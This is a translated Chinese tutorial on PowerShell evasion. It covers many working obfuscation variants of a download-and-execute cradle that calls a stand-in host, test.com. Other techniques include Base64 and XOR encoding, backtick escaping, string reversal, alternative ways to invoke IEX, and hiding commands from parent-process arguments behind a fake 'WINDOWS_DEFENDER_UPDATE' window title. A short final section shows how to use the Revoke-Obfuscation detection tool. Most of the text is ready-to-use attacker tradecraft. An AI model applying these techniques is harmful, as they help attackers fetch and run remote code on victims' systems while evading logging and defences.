[译] Powershell-Evasion
Contents
From 感谢rootclay
和七三
的翻译
0x01 第一章
即使powershell越来越火,但是执行的某些字符遭到waf或者防火墙拦截本来无法避免.本篇文章从各大国内外摘录了很多知识点.包括blackhat2017等.为了防止被拦截,通常可以进行混淆处理,例如 Base64,在执行代码之前很难发现或确认这些代码实际上会做些什么事情。由于脚本块日志会在实际的代码传递到 PowerShell 引擎之前进行记录,这就使得在代码执行之前就能进行日志记录,因为脚本代码在执行之前需要进行反混淆处理.
现在最为常见的处理方式是Base64,Base64 + XOR
Microsoft 提供了一个经过混淆处理的命令代码示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
## Malware function SuperDecrypt { param($script) $bytes = [Convert]::FromBase64String($script) ## XOR "encryption" $xorKey = 0x42 for($counter = 0; $counter -lt $bytes.Length; $counter++) { $bytes[$counter] = $bytes[$counter] -bxor $xorKey } [System.Text.Encoding]::Unicode.GetString($bytes) } $decrypted = SuperDecrypt "FUIwQitCNkInQm9CCkItQjFCNkJiQmVCEkI1QixCJkJlQg==" Invoke-Expression $decrypted |
传递给 PowerShell 处理的原始的脚本块内容 (如上文所述)就是 PowerShell 执行的实际命令。
请注意,脚本块记录默认是启用的。
实例
在混淆之前,先看看powershell编码执行的方式。
-EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E
那么这些参数都可以让代码编码执行,可见我们的混淆的选择是非常多的,而防御起来就越难。
我们在攻击时经常会远程下载代码脚本执行,这里基于这样的一条标准的下载文件命令来进行变形混淆。
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://test.com/powershell")
简单处理我们刚才的命令:
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://test.com/powershell")
去掉System关键字
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://test.com/powershell")
使用字符串连接+号连接
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://test.com/powershell")
使用Invoke方法
Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://test.com/powershell') $ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('h'+'ttp://test.com/powershell')
变量替代
IEX $test=New-Object Net.WebClient;$test.DownloadString('h'+'ttp://test.com/powershell')
关键字使用单双引号引起来
Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://test.com/powershell')
转义符号
1
|
Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"('h'+'ttp://test.com/power') |
字符串反转
$re= ")'1/1.0.0.721//:ptth'(gnirtSdaolnwoD.)tneilCbeW.teN tcejbO-weN(";
IEX ($re[-1..-($re.Length)] -Join '') | IEX
编码执行
1 2 3 4 5 |
$command = "Write-Host 'Hello World!'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand IEX |
我们使用的代码很多都使用Invoke-Expression/IEX命令, Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。 这里也先看看代替IEX的各种执行方式
&(GAL I*X)
: 通过别名的方式来进行编码
Command I*e-E*
: 通过command的方式来进行编码
$ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*')
使用环境变量等等…
0x02 第二章
1. cmd启动powershell
首先看看powershel使用cmd.exe启动执行代码的方式:
1.1 常规方法
1 2 3 |
cmd.exe /c "powershell -c Write-Host SUCCESS -Fore Green" cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell -" cmd /c "set p1=power&& set p2=shell&& cmd /c echo Write-Host SUCCESS -Fore Green ^|%p1%%p2% -" |
1.2 管道输入流
cmd.exe /c "echo Write-Host SUCCESS -Fore Green | powershell IEX $input"
1.3 利用环境变量
1 2 3 4 |
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX $env:cmd" cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell - cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ([Environment]::GetEnvironmentVariable('cmd', 'Process')) cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&powershell IEX ((Get-ChildItem/ChildItem/GCI/DIR/LS env:cmd).Value) |
在父进程中隐藏运行的代码:上面第二种方式运行时,如果使用进程查看,可以在父进程启动参数中cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%|powershell -
,看到你执行的代码,因为此时powershell -的父进程时第一个cmd.exe,所以可以使用cmd中的转义符号^将|转义后,如
cmd.exe /c "set cmd=Write-Host ENV -Fore Green&&cmd /c echo %cmd%^|powershell -
,第二个cmd后面对命令行来说是一个整体,然后执行cmd /c echo %cmd%|powershell -
,此时powershell -的父进程就是第二个cmd了,看不到我们执行的代码了。
1.4 从其他进程获取参数
首先启动多个cmd进程,这些进程参数中包含要执行的代码
1
|
cmd /c "title WINDOWS_DEFENDER_UPDATE&&echo IEX (IWR https://test.com/power)&& FOR /L %i IN (1,1,1000) DO echo" |
然后在powershell中提取出来IEX (IWR https://test.com/power)
执行,如:
1
|
cmd /c "powershell IEX (Get-WmiObject Win32_Process -Filter ^"Name = 'cmd.exe' AND CommandLine like '%WINDOWS_DEFENDER_UPDATE%'^").CommandLine.Split([char]38)[2].SubString(5)" |
1.5 从粘贴板
1
|
cmd.exe /c "echo Write-Host CLIP -Fore Green | clip&& powershell [void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); IEX ([System.Windows.Forms.Clipboard]::GetText())" |
这些方法可以在powershell日志中看到,所以开启powershell的日志分析很重要。
但是,如果时混淆的,日志中也仅仅是记录了混淆后的东西。
2. 混淆
Hacker在攻击时经常会远程下载代码脚本执行,这里基于这样的一条标准的下载文件命令来进行变形混淆。
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://test.com/power")
在混淆之前,先看看powershell获取环境变量的方式。
Get-Variable/GV/Variable cmd -ValueOnly
-ValueOnly
可以简写为-ValueOnly,-ValueOnl,-ValueOn,-ValueO……,-Va,-V
(Get-Item/GI/Item Variable:cmd).Value
(Get-ChildItem/GCI/ChildItem/DIR/LS Variable:cmd).Value
后面很多构造会用到这些方式的。
2.0 简单处理
Invoke-Expression (New-Object System.Net.WebClient).DownloadString("http://test.com/power")
可以去掉System
Invoke-Expression (New-Object Net.WebClient).DownloadString("http://test.com/power")
将http分开+号连接
Invoke-Expression (New-Object Net.WebClient).DownloadString("ht"+"tp://test.com/power")
变量代替
IEX $wc=New-Object Net.WebClient;$wc.DownloadString('h'+'ttp://test.com/power')
把downloadstring
使用单双引号引起来
Invoke-Expression (New-Object Net.WebClient)."DownloadString"('h'+'ttp://test.com/power')
使用invoke方法
1 2 |
Invoke-Expression (New-Object Net.WebClient).("DownloadString").Invoke('h'+'ttp://test.com/power') $ds="Down"+"loadString";Invoke-Expression (New-Object Net.WebClient).$ds.Invoke('h'+'ttp://test.com/power') |
以上单双引号可以切换
2.1 转义符(反引号)
查看帮助Get-Help about_Escape_Characters
以下为 Windows PowerShell 能够识别的特殊字符:
1 2 3 4 5 6 7 8 |
0 Null `a 警报 `b 退格 `f 换页 `n 换行 `r 回车 `t 水平制表 `v 垂直制表 |
转义符号加在其他字符前不影响字符的意思,避免在0,a,b,f,n,r,t,v
的小写字母前出现即可。
1 2 3 |
Invoke-Expression (New-Object Net.WebClient)."Down`loadString"('h'+'ttp://test.com/power') Invoke-Expression (New-Object Net.WebClient)."D`o`wn`l`oad`Str`in`g"('h'+'ttp://test.com/power') Invoke-Expression (New-Object Net.WebClient)."D`o`w`N`l`o`A`d`S`T`R`in`g"('h'+'ttp://test.com/power') |
同样可以使用在 Net.Webclient上
1
|
Invoke-Expression (New-Object "`Ne`T.`Web`Cli`ent")."Down`l`oadString"('h'+'ttp://test.com/power') |
括号代替空格,或者多个定义变量来连接替换
1 2 |
Invoke-Expression (New-Object("`Ne`T.`Web`Cli`ent"))."Down`l`oadString"('h'+'ttp://test.com/power') $v1="Net.";$v2="WebClient";Invoke-Expression (New-Object $v1$v2)."Down`l`oadString"('h'+'ttp://test.com/power') |
2.2 简写与通配符
e.g Get-Comamd New-Ob*
以下几种处理都可以代替 Get-Command New-Object ; Get-Comamnd
可简写为 GCM
1 2 3 |
&(Get-Command New-Obje*) &(Get-Command *w-O*) &(GCM *w-O*) &(COMMAND *w-*ct) .(Get-Command New-Obje*) .(Get-Command *w-O*) .(GCM *w-O*) .(COMMAND *w-*ct) $var1="New";$var2="-Object";$var3=$var1+$var2;&(GCM $var3) |
结合其他方法混淆
|
|
2.3 脚本块
使用脚本块
|
|
Scriptblock类方法,[Scriptblock]
相当于[Type]("Scriptblock")
|
|
混淆
|
|
2.4 字符串处理
反转
|
|
分割截断 or 替换字符
|
|
格式填充,-f 格式化。
|
|
变量拼接
|
|
2.5 编码
Ascii
使用[char]xx
代替字符 如:[char]59–>;
`
不用分号
$cmd= "$c1~~$c2~~$c3~~$c4"; IEX $cmd.Replace("~~",[string]([char]59)) | IEX
Base64
命令行参数使用
-EC,-EncodedCommand,-EncodedComman,-EncodedComma,-EncodedComm,......,Enc,-En,E
解码echo 123 的base64 ZQBjAGgAbwAgADEAMgAzAAoA
1 2 |
1.PS 2.0 -> [C`onv`ert]::"FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA') 2.PS 3.0+ -> [ <##> Convert <##> ]:: <##> "FromB`Ase6`4Str`ing"('ZQBjAGgAbwAgADEAMgAzAAoA') |
.NET的方法
1
|
IEX ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('ZQBjAGgAbwAgADEAMgAzAAoA'))) |
其他不同的方式编码 hex/octal/binary/BXOR/etc
.
1 2 3 |
[Convert]::ToString(1234, 2) [Convert]::ToString(1234, 8) [Convert]::ToString(1234, 16) |
也是转换为16进制
|
|
关于SecureString: Get-Comamnd *secure-string*
|
|
加密指定key
1 2 3 4 |
$cmd= "code" $secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force $secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16) $secCmdPlaintext |
解密
echo xxxx| ConvertTo-SecureString -Key (1..16)
示例
1 2 3 |
$cmd= "echo 123" $secCmd= ConvertTo-SecureString $cmd -AsPlainText -Force $secCmdPlaintext= $secCmd| ConvertFrom-SecureString -Key (1..16) |
运行
1
|
$secCmd= $secCmdPlaintext| ConvertTo-SecureString -Key (1..16);([System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($secCmd))) | IEX |
2.6 自构造关键字替换
就是在其他命令的输出下查看观察目标字符串位置,然后提取出来。比如DownlaodString的构造替换
1 2 |
DownloadString == (((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name) IEX (New-Object Net.WebClient).(((New-Object Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://test.com/power') |
再结合get-command的变形
1
|
IEX (.(COMMAND *w-*ct) Net.WebClient).(((.(COMMAND *w-*ct) Net.WebClient).PsObject.Methods | Where-Object {$_.Name -like '*wn*d*g'}).Name).Invoke('http://test.com/power') |
根据这样的思路结合上面提到的获取环境变量方法,可以把New-Object层层混淆为
1
|
(GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).PsObject.Methods|Where{(GCI Variable:_).Value.Name-ilike'*Co*d'}).Name).Invoke((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name).(((GV E*onte*).Value.(((GV E*onte*).Value|GM)[6].Name)|GM|Where{(GCI Variable:_).Value.Name-ilike'G*om*e'}).Name).Invoke('N*ct',$TRUE,1), [System.Management.Automation.CommandTypes]::Cmdlet) |
3. IEX 的处理与其他执行方法
经过上面构造可以看到很多都使用Invoke-Expression/IEX命令,.,&符号来执行表达式。
Invoke-Expression/IEX命令是很常用的一个命令, 运行一个以字符串形式提供的PowerShell表达式。
这里也先看看代替IEX的各种执行方式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
Get-Alias/GAL &(GAL I*X) .(LS Alias:/I*X) Get-Command/GCM .(GCM I*e-E*) &(Command I*e-E*) GetCmdlets (PS1.0+), $ExecutionContext.InvokeCommand.GetCmdlets('I*e-E*'), //用到环境变量 &(GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'*Cm*ts'}).Name).Invoke('I*e-E*') InvokeScript (PS1.0+) $ExecutionContext.InvokeCommand.InvokeScript($Script) (GV E*Cont* -Va).InvokeCommand.(((GV E*Cont* -Va).InvokeCommand.PsObject.Methods|Where{(GV _ -Va).Name -clike'I*'}).Name).Invoke($Script), Invoke-Command/ICM Invoke-Command ([ScriptBlock]::Create($Script)) [ScriptBlock]::Create($Script).Invoke() .((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name).(((GV *cut*t -Va).(((GV *cut*t -Va)|Member)[6].Name)|Member|Where-Object{(Get-Variable _ -Va).Name-clike'N*S*B*'}).Name).Invoke($Script)) PS Runspace [PowerShell]::Create().AddScript($Script).Invoke() Invoke-AsWorkflow (PS3.0+) Invoke-AsWorkflow -Expression $Script 提取串联出IEX,也是在其他命令的输出下查看观察目标字符串位置,然后提取出来。 ($Env:ComSpec[4,26,25]-Join'') ((LS env:/Co*pec).Value[4,26,25]-Join'') ($ShellId[1]+$ShellId[13]+'x') ((GV S*ell*d -Va)[1]+(DIR Variable:S*ell*d).Value[13]+'x') ( ([String]''.IndexOf)[0,7,8]-Join'') |
怎么构造?,比如上面这个 首先查看''|Get-Member
有个IndexOf
方法,然后看看[String]''.IndexOf
的输出,提取出里面的IEX字母
4. 相关工具
**4.1 Invoke-Obfuscation
那么讲了这么多,其实只是给大家讲了一下有这种编码方式,对于蓝队来说需要更深入的掌握,当让red team需要掌握的就更多了,下面给大家介绍几款混淆和编码框架供大家学习。
Invoke-Obfuscation
这个工具呢已经有dalao在freebuf上写过相关是使用方法—http://www.freebuf.com/sectool/136328.html
启动命令
Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation
启动之后输入你的代码,然后可以选择你需要的编码
1 2 3 |
Invoke-Obfuscation> set scriptblock 'net user test test /add' Invoke-Obfuscation> 1 PS > & ( ([striNg]$verBOsePRefereNCe)[1,3]+'x'-jOIn'')( [StrInG]::JOiN('' , ( '32k45x106O111A73f78;32}40y40!49y49k48k44O49n48!49}32x44;49!49x54A44A51O50y32x44n32f49x49A55!44n49!49;53!44x49A48;49A32y44O32!49f49k52n44}32y51}50x32y44k32k49!49n54O32!44A49O48;49x44y49A49n53y32x44A49y49n54f44n32O51}50k44}32}49;49x54!44!32n49x48f49k32O44;32O49O49f53n44;49!49n54y32}44x51;50k44x52!55!44A32n57k55!44k49A48n48;32f44y49!48n48f41y124x70;79f114;101!97k99!104;45n79;98A74O101y99;84y123}32y40!91}99}104f97y82O93k91f105n110A84f93x36y95O41n32k125k32;41y32f124x46A32}40A32f40}91y83n116k114f105A78;71O93}36;118y69x114!98;111O115n101f80y82O101!70O101A114n101;110n67!101;41;91n49!44;51k93!43y39A120!39O45}74x79k73f110A39n39;41'.SpLIT(';nxfAOk!y}' ) |FoReach-ObjeCt {( [Int] $_-aS [CHAR]) }) ) ) |
这是一个powershell混淆编码框架,基本涵盖了上述的各种混淆方法
**4.2 Revoke-Obfuscation
混淆检测框架,注意,这个是检测
使用方法
初始
Import-Module .\Revoke-Obfuscation.psm1 -Verbose
gte-filehash没有输入流参数,自己下载一个get-filehash导入即可
还有个问题 使用-OutputToDisk输出时,Set-Content没有NoNewline参数,ps5.0没问题。
检测每一行的混淆情况
Get-Content .\test.txt|Measure-RvoObfuscation -Verbose -OutputToDisk
检测一个文件是否混淆
Get-ChildItem .\test.txt|Measure-RvoObfuscation -Verbose -OutputToDisk
远程检测
Measure-RvoObfuscation -Url 'http://bit.ly/DBOdemo1' -Verbose -OutputToDisk
Measure-RvoObfuscation -Url 'http://test.com/powershell/rev.ps1' -Verbose
从事件了提取ID为4104的日志重组
1 2 3 4 5 6 |
Get-ChildItem .\Demo.evtx | Get-RvoScriptBlock -Verbose Get-RvoScriptBlock -Path .\demo.evtx -Verbose 这里的demo.evtx可以使用绝对路径 Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | Get-RvoScriptBlock -Verbose Get-ChildItem .\eventlogs.xml | Get-RvoScriptBlock -Verbose Get-CSEventLogEntry -LogName Microsoft-Windows-PowerShell/Operational | Get-RvoScriptBlock |
从事件日志中提取然后检测
1
|
$obfResults = Get-WinEvent -Path .\Demo.evtx | Get-RvoScriptBlock | Measure-RvoObfuscation -OutputToDisk -Verbose |
当使用上面的混淆框架Invoke-Obfuscation
的个汇总混淆方法生成几个样本。
小技巧: 当然也可以使用通配符* 来检测当前目录混淆文件
Get-ChildItem * |Measure-RvoObfuscation -Verbose -OutputToDisk
http://www.4hou.com/penetration/8915.html
http://bobao.360.cn/learning/detail/4764.html
http://www.pstips.net/credential-obfuscator.html
https://yq.aliyun.com/articles/222396
https://rootclay.gitbooks.io/powershell-attack-guide/content/
http://www.freebuf.com/sectool/136328.html
https://www.anquanke.com/post/id/87329
https://www.anquanke.com/post/id/86637